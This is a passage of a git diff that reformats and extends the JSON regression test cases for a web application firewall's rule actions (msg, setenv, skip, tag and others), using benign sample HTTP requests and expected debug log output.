300000, + "title": "Testing Action :: id (6/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { + "http_code": 200, "parser_error": "action-id.json. Line: 2. Column: 56. Expecting an action, got: ',phase:2,pass,t:trim\"" }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@rx (value1)\" \"id:1',phase:2,pass,t:trim\"" ] diff --git a/test/test-cases/regression/action-initcol.json b/test/test-cases/regression/action-initcol.json index 5051f2e6a5..3ab79876b5 100644 --- a/test/test-cases/regression/action-initcol.json +++ b/test/test-cases/regression/action-initcol.json @@ -1,30 +1,43 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing initcol action", - "expected":{ - "debug_log": "Saving variable: IP:auth_attempt with value: " + "enabled": 1, + "version_min": 300000, + "title": "Testing initcol action", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Saving variable: IP:auth_attempt with value: ", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:User-Agent \"^(.*)$\" \"id:'900018',phase:1,t:none,t:sha1,t:hexEncode,setvar:tx.ua_hash=%{matched_var},nolog,pass\"", "SecRule &TX:REAL_IP \"@eq 0\" \"id:'900021',phase:1,t:none,initcol:global=global,initcol:ip=%{remote_addr}_%{tx.ua_hash},setvar:tx.real_ip=%{remote_addr},nolog,pass\"", diff --git a/test/test-cases/regression/action-msg.json b/test/test-cases/regression/action-msg.json index 6933be8aa5..34e9fe5fed 100644 --- a/test/test-cases/regression/action-msg.json +++ b/test/test-cases/regression/action-msg.json @@ -1,115 +1,119 @@ [ { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing action :: msg (this test is not really testing it)", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: msg (this test is not really testing it)", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Saving msg: This is a test, text\/html,application", - "error_log":"" + "expected": { + "debug_log": "Saving msg: This is a test, text/html,application", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:1,t:lowercase,t:none,msg:'This is a test, %{REQUEST_HEADERS:Accept}%'\"", "SecRule TX \"@contains to_test\" \"id:2,t:lowercase,t:none\"" ] }, - { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing action :: msg - variable expansion", - "client":{ - "ip":"200.249.12.31", - "port":2313 + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: msg - variable expansion", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Saving msg: This is a test: PHPSESSID ops", - "error_log":"" + "expected": { + "debug_log": "Saving msg: This is a test: PHPSESSID ops", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS \"@rx PHPSESSID\" \"id:1,capture,t:lowercase,t:none,msg:'This is a test: %{TX.0}% ops'\"", "SecRule TX \"@rx to_test\" \"id:2,t:lowercase,capture,t:none\"" diff --git a/test/test-cases/regression/action-setenv.json b/test/test-cases/regression/action-setenv.json index 2bbe967a4d..e884f00247 100644 --- a/test/test-cases/regression/action-setenv.json +++ b/test/test-cases/regression/action-setenv.json @@ -1,93 +1,132 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing setsid action (1/3)", - "expected":{ - "debug_log": "Setting environment variable: variable to PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "enabled": 1, + "version_min": 300000, + "title": "Testing setsid action (1/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Setting environment variable: variable to PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:Cookie \"^(.*)$\" \"id:'900018',phase:2,setenv:'variable=%{matched_var}',pass\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing setenv action (2/3)", - "expected":{ - "debug_log": "Setting environment variable: variable to PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "enabled": 1, + "version_min": 300000, + "title": "Testing setenv action (2/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "debug_log": "Setting environment variable: variable to PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:Cookie \"^(.*)$\" \"id:'900018',phase:2,setenv:variable=%{matched_var},pass\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing setenv action (3/3)", - "expected":{ - "debug_log": "Setting environment variable: variable to PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120==test=test" + "enabled": 1, + "version_min": 300000, + "title": "Testing setenv action (3/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "debug_log": "Setting environment variable: variable to PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120==test=test", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:Cookie \"^(.*)$\" \"id:'900018',phase:2,setenv:variable=%{matched_var}==test=test,pass\"" ] diff --git a/test/test-cases/regression/action-setrsc.json b/test/test-cases/regression/action-setrsc.json index ffc4e0f226..7be0c0d317 100644 --- a/test/test-cases/regression/action-setrsc.json +++ b/test/test-cases/regression/action-setrsc.json @@ -1,31 +1,44 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing setrsc action", - "expected":{ - "debug_log": "Saving variable: RESOURCE:score with value: " + "enabled": 1, + "version_min": 300000, + "title": "Testing setrsc action", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Saving variable: RESOURCE:score with value: ", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:User-Agent \"^(.*)$\" \"id:'900018',phase:1,t:none,t:sha1,t:hexEncode,setrsc:'test',nolog,pass\"", "SecRule REQUEST_HEADERS \".*\" \"id:'900021',phase:1,setvar:RESOURCE.score=+10\"", diff --git a/test/test-cases/regression/action-setsid.json b/test/test-cases/regression/action-setsid.json index 2d4e2cddfd..84bdc90db8 100644 --- a/test/test-cases/regression/action-setsid.json +++ b/test/test-cases/regression/action-setsid.json @@ -1,31 +1,44 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing setsid action", - "expected":{ - "debug_log": "Saving variable: SESSION:score with value: " + "enabled": 1, + "version_min": 300000, + "title": "Testing setsid action", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Saving variable: SESSION:score with value: ", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:User-Agent \"^(.*)$\" \"id:'900018',phase:1,t:none,t:sha1,t:hexEncode,setsid:%{REQUEST_COOKIES:PHPSESSID}%,nolog,pass\"", "SecRule REQUEST_HEADERS \".*\" \"id:'900021',phase:1,setvar:SESSION.score=+10\"", diff --git a/test/test-cases/regression/action-setuid.json b/test/test-cases/regression/action-setuid.json index 726efd1e64..f9300f5104 100644 --- a/test/test-cases/regression/action-setuid.json +++ b/test/test-cases/regression/action-setuid.json @@ -1,31 +1,44 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing setuid action", - "expected":{ - "debug_log": "Saving variable: USER:score with value: " + "enabled": 1, + "version_min": 300000, + "title": "Testing setuid action", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Saving variable: USER:score with value: ", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:User-Agent \"^(.*)$\" \"id:'900018',phase:1,t:none,t:sha1,t:hexEncode,setuid:%{REQUEST_COOKIES:USER}%,nolog,pass\"", "SecRule REQUEST_HEADERS \".*\" \"id:'900021',phase:1,setvar:USER.score=+10\"", diff --git a/test/test-cases/regression/action-skip.json b/test/test-cases/regression/action-skip.json index cb7ba14918..132a9c4215 100644 --- a/test/test-cases/regression/action-skip.json +++ b/test/test-cases/regression/action-skip.json @@ -1,31 +1,44 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing skip action 1/3", - "expected":{ - "debug_log": "\\[9\\] Skipped rule id \\'2\\' due to a \\`skip\\' action." + "enabled": 1, + "version_min": 300000, + "title": "Testing skip action 1/3", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "\\[9\\] Skipped rule id \\'2\\' due to a \\`skip\\' action.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:User-Agent \"^(.*)$\" \"id:'1',phase:1,skip:1\"", "SecRule REQUEST_HEADERS \"should be skipped\" \"id:'2',phase:1,setvar:SESSION.score=+10\"", @@ -34,32 +47,45 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing skip action 2/3", - "expected":{ - "parser_error": "Rules error. File: action-skip.json. Line: 2. Column: 71. Expecting an action, got: skip:abc" + "enabled": 1, + "version_min": 300000, + "title": "Testing skip action 2/3", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "http_code": 200, + "parser_error": "Rules error. File: action-skip.json. Line: 2. Column: 71. Expecting an action, got: skip:abc" }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:User-Agent \"^(.*)$\" \"id:'1',phase:1,skip:abc\"", "SecRule REQUEST_HEADERS \"should be skipped\" \"id:'2',phase:1,setvar:SESSION.score=+10\"", @@ -68,32 +94,45 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing skip action 3/3", - "expected":{ - "debug_log": "\\[9\\] Skipped rule id \\'3\\' due to a \\`skip\\' action." + "enabled": 1, + "version_min": 300000, + "title": "Testing skip action 3/3", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "debug_log": "\\[9\\] Skipped rule id \\'3\\' due to a \\`skip\\' action.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:User-Agent \"^(.*)$\" \"id:'1',phase:1,skip:2\"", "SecRule REQUEST_HEADERS \"should be skipped\" \"id:'2',phase:1,setvar:SESSION.score=+10\"", diff --git a/test/test-cases/regression/action-tag.json b/test/test-cases/regression/action-tag.json index 870297b462..b678f5609b 100644 --- a/test/test-cases/regression/action-tag.json +++ b/test/test-cases/regression/action-tag.json @@ -1,115 +1,119 @@ [ { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing action :: tag 1", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: tag 1", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Rule tag: teste", - "error_log":"" + "expected": { + "debug_log": "Rule tag: teste", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:1,tag:'teste',t:lowercase,t:none\"", "SecRule TX \"@contains to_test\" \"id:2,t:lowercase,t:none\"" ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing action :: tag 2", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: tag 2", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Rule tag: teste no-cache", - "error_log":"" + "expected": { + "debug_log": "Rule tag: teste no-cache", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS 